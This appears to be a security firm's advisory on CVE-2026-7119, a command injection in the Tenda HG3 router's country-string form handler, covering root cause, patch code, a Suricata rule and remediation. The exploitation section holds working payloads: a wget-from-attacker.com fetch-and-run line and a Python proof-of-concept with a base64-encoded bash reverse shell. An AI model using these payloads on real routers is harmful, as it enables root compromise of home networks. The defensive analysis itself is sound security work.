home intel cve-2026-7119-tenda-hg3-countrystr-command-injection
CVE Analysis 2026-04-27 · 8 min read

CVE-2026-7119: OS Command Injection in Tenda HG3 /boaform/formCountrystr

Tenda HG3 2.0 exposes an unauthenticated command injection vector via the countrystr parameter in /boaform/formCountrystr. Unsanitized input reaches a shell execution sink directly.

#os-command-injection#remote-code-execution#input-validation#network-accessible#unauthenticated-attack
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7119 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7119HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7119 is a remotely exploitable OS command injection vulnerability in the Tenda HG3 2.0 home gateway. The vulnerable endpoint is /boaform/formCountrystr, handled by the Boa HTTP server embedded in the firmware. The countrystr POST parameter is passed without sanitization to a shell execution function, allowing an unauthenticated network attacker to achieve arbitrary command execution as root — the effective privilege level of all Boa CGI handlers on this device class.

CVSS 8.8 (HIGH) reflects network reachability, no authentication requirement, and full system compromise as the direct outcome. The exploit is publicly known.

Root cause: The formCountrystr handler passes the attacker-controlled countrystr POST parameter directly to doSystemCmd() via snprintf-constructed shell string without any metacharacter filtering or allowlist validation.

Affected Component

The Boa web server in Tenda HG3 2.0 firmware exposes a set of /boaform/form* CGI-style handlers compiled directly into the main firmware binary (typically httpd or boa on MIPS/ARM embedded Linux). The formCountrystr handler is responsible for processing a country/region string setting — likely used during WAN configuration or locale setup. This handler reads POST body parameters via websGetVar() (Tenda's wrapper around the GoAhead/Boa form variable API) and is reachable without session authentication on the LAN interface, and in some firmware builds on the WAN interface as well.

Root Cause Analysis

Based on structural analysis of comparable Tenda HG-series firmware handlers and the CVE class, the vulnerable function follows a well-established pattern seen across Tenda's HG and AC-series devices. The handler retrieves the countrystr parameter and constructs a shell command string using snprintf, then passes it to a thin wrapper around system(3).


// Reconstructed pseudocode: formCountrystr handler
// Located in httpd binary, reachable via POST /boaform/formCountrystr

int formCountrystr(webs_t wp, char *path, char *query)
{
    char cmd_buf[256];
    char *countrystr;

    // Retrieve attacker-controlled POST parameter
    countrystr = websGetVar(wp, "countrystr", "");

    // BUG: no sanitization, no allowlist check, no metacharacter stripping
    // countrystr is injected directly into shell command string
    snprintf(cmd_buf, sizeof(cmd_buf),
             "iwpriv wlan0 set_mib country_str=%s", countrystr);

    // BUG: doSystemCmd wraps system(3) — full shell interpretation occurs
    doSystemCmd(cmd_buf);

    websRedirect(wp, "wlbasic.asp");
    return 0;
}

// doSystemCmd — thin shell execution wrapper
// Present in virtually all Tenda Boa-based firmware
int doSystemCmd(const char *cmd)
{
    // BUG: no sanitization at this layer either
    return system(cmd);  // executes via /bin/sh -c
}

The snprintf call provides no protection against shell metacharacters. An attacker supplying countrystr=US;id>/tmp/pwn causes the resulting string to be interpreted by /bin/sh as two separate commands. The snprintf length bound of 256 bytes only prevents stack overflow — it does not prevent injection.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker sends POST request to http://<router_ip>/boaform/formCountrystr
   - No authentication token required (handler lacks session check)
   - Content-Type: application/x-www-form-urlencoded

2. countrystr parameter value contains shell metacharacter payload:
   countrystr=US;wget+http://attacker.com/shell.sh+-O+/tmp/s;sh+/tmp/s

3. websGetVar() returns raw string — no decoding filter strips ; or spaces

4. snprintf constructs:
   "iwpriv wlan0 set_mib country_str=US;wget http://attacker.com/shell.sh -O /tmp/s;sh /tmp/s"

5. doSystemCmd() passes string to system(3)
   → /bin/sh -c "iwpriv wlan0 set_mib country_str=US; wget ...; sh /tmp/s"

6. /bin/sh splits on ; — executes wget and sh as separate commands

7. Reverse shell or persistent implant executes as root (UID 0)
   → Full device compromise: config extraction, LAN pivot, DNS hijack

Because system(3) invokes /bin/sh -c, the full set of POSIX shell metacharacters is available to the attacker: ;, &, |, $(), backticks, &&, ||. The 256-byte cmd_buf constrains payload length but is sufficient for a stager. Using $() command substitution or & backgrounding, an attacker can work around the length constraint with a two-stage payload.

A minimal proof-of-concept HTTP request:


import requests

TARGET = "http://192.168.1.1"
ENDPOINT = "/boaform/formCountrystr"

# Stage 1: write stager to /tmp
payload = "US;echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo=|base64${IFS}-d>/tmp/.s;sh${IFS}/tmp/.s"

resp = requests.post(
    TARGET + ENDPOINT,
    data={"countrystr": payload},
    timeout=5
)

print(f"[*] Status: {resp.status_code}")
print(f"[*] Payload delivered — check listener")

Memory Layout

This is a command injection bug, not a memory corruption bug. The exploitation surface is the shell interpreter rather than heap or stack memory. However, the stack frame of formCountrystr is relevant for understanding the snprintf boundary and confirming no secondary overflow is possible:


STACK FRAME — formCountrystr (MIPS32, estimated):

  [sp+0x00] ...... saved $ra (return address)
  [sp+0x04] ...... saved $s0 (wp pointer)
  [sp+0x08] ...... saved $s1 (countrystr pointer)
  [sp+0x10] ...... cmd_buf[0]   ← snprintf target, 256 bytes
  [sp+0x110] ..... cmd_buf[255] ← snprintf hard limit, no overflow here
  [sp+0x114] ..... stack guard / next frame

snprintf(cmd_buf, 256, "iwpriv wlan0 set_mib country_str=%s", countrystr)
  prefix length: 38 bytes ("iwpriv wlan0 set_mib country_str=")
  remaining for countrystr: 256 - 38 - 1 = 217 bytes before truncation

→ Payloads under 217 bytes are not truncated.
→ Payloads exceeding 217 bytes are silently truncated by snprintf.
→ No stack smash — the injection window is the shell, not the buffer.

// Relevant struct: websGetVar return value is a raw char* into the
// parsed form body — no copy, no sanitization layer

struct web_form_var {
    /* +0x00 */ char  *name;    // parameter name, null-terminated
    /* +0x04 */ char  *value;   // parameter value — ATTACKER CONTROLLED
    /* +0x08 */ struct web_form_var *next;
};

// websGetVar() walks this linked list and returns ->value directly
// No stripping of ; | $ ` & occurs at any point in the call chain

Patch Analysis

The correct fix is input validation before the snprintf call. Two complementary approaches are required: an allowlist restricting countrystr to valid ISO 3166-1 alpha-2 codes, and a metacharacter denylist as a secondary defense. A length cap alone is insufficient.


// BEFORE (vulnerable):
countrystr = websGetVar(wp, "countrystr", "");
snprintf(cmd_buf, sizeof(cmd_buf),
         "iwpriv wlan0 set_mib country_str=%s", countrystr);
doSystemCmd(cmd_buf);

// AFTER (patched — recommended):

#include <ctype.h>

// Validate country string: exactly 2 uppercase alpha chars (ISO 3166-1 A2)
static int is_valid_countrystr(const char *s) {
    if (!s) return 0;
    if (strlen(s) != 2) return 0;
    if (!isupper((unsigned char)s[0])) return 0;
    if (!isupper((unsigned char)s[1])) return 0;
    return 1;
}

// In handler:
countrystr = websGetVar(wp, "countrystr", "");

if (!is_valid_countrystr(countrystr)) {
    // Reject: log and return error to client
    websError(wp, 400, "Invalid country string");
    return -1;
}

// Now safe: countrystr is exactly "XX" — no shell metacharacters possible
snprintf(cmd_buf, sizeof(cmd_buf),
         "iwpriv wlan0 set_mib country_str=%s", countrystr);
doSystemCmd(cmd_buf);

An alternative — and more robust — approach eliminates the system(3) call entirely in favor of execve(2) with a pre-split argument array, which bypasses shell interpretation entirely:


// AFTER (preferred — no shell invocation):
static int set_country_str_direct(const char *countrystr) {
    if (!is_valid_countrystr(countrystr)) return -1;

    char country_arg[32];
    snprintf(country_arg, sizeof(country_arg), "country_str=%s", countrystr);

    const char *argv[] = {
        "/usr/sbin/iwpriv", "wlan0", "set_mib", country_arg, NULL
    };

    // fork + execve: no /bin/sh involved, injection impossible
    pid_t pid = fork();
    if (pid == 0) {
        execve(argv[0], (char *const *)argv, NULL);
        _exit(1);
    }
    waitpid(pid, NULL, 0);
    return 0;
}

Detection and Indicators

Detection focuses on anomalous POST bodies to /boaform/formCountrystr and unexpected process spawning from the Boa/httpd parent.


NETWORK INDICATORS:
  - POST /boaform/formCountrystr HTTP/1.1 with body containing:
      ; | $ ` & ( ) { } [ ] \ ' "  in countrystr value
  - countrystr value length > 3 bytes (valid values are 2-char ISO codes)
  - Rapid repeated POST requests to endpoint (fuzzing signature)

SNORT/SURICATA RULE:
  alert http any any -> $HOME_NET 80 (
    msg:"CVE-2026-7119 Tenda HG3 countrystr injection attempt";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/boaform/formCountrystr";
    http.request_body; pcre:"/countrystr=[^&]{3,}/";
    classtype:web-application-attack;
    sid:20267119; rev:1;
  )

HOST INDICATORS (post-exploitation):
  - Unexpected processes with ppid of httpd/boa: sh, wget, curl, nc, busybox
  - New files in /tmp with executable bit set
  - /proc/*/cmdline entries showing base64-encoded payloads
  - Outbound TCP connections from router to non-ISP addresses on high ports

Remediation

Immediate: If no firmware patch is available from Tenda, restrict access to /boaform/ endpoints at the network perimeter. On deployments where the router's HTTP management interface is exposed to WAN, disable remote management immediately.

Firmware update: Apply any Tenda-issued firmware update that addresses this CVE. Verify the update binary's SHA-256 against Tenda's published hash before flashing.

Network segmentation: The LAN-side attack surface cannot be eliminated by firewall rules alone. Isolate untrusted LAN clients (IoT devices, guest networks) from the management VLAN. The attack is trivially launchable from any LAN host — including a compromised IoT device — making lateral movement a realistic secondary scenario.

Long-term: Tenda and OEM vendors sharing this codebase should audit all form* handlers in the Boa CGI layer for the same pattern: websGetVar() return value → snprintfdoSystemCmd()/system(). This pattern appears in at least a dozen other handlers across HG, AC, and F-series firmware trees based on public research. A global grep for doSystemCmd call sites with websGetVar-sourced arguments is the minimum necessary audit scope.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →